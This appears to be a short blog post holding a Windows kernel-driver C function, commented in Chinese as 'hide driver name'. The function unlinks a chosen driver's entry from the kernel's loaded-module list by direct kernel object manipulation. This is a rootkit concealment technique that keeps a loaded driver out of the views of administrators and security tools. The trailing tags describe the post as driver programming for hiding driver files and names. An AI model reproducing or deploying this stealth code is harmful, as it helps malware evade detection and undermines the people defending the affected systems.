//功能:隐藏驱动名
VOID HideDriver(char* drivername, PDRIVER_OBJECT driverobj)
{
KIRQL irql;
ULONG64 base;
PLDR_DATA_TABLE_ENTRY firstentry;
PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)driverobj->DriverSection;
firstentry = entry;
base = GetDirverBase(drivername);
while ((PLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
{
if (entry->DllBase == base)
{
irql = KeRaiseIrqlToDpcLevel();
((LIST_ENTRY64*)(entry->InLoadOrderLinks.Flink))->Blink = entry->InLoadOrderLinks.Blink;
((LIST_ENTRY64*)(entry->InLoadOrderLinks.Blink))->Flink = entry->InLoadOrderLinks.Flink;
entry->InLoadOrderLinks.Flink = 0;
entry->InLoadOrderLinks.Blink = 0;
KeLowerIrql(irql);
break;
}
entry = (PLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
}
}
驱动编程,隐藏驱动文件,隐藏驱动名
最新推荐文章于 2022-02-18 21:43:00 发布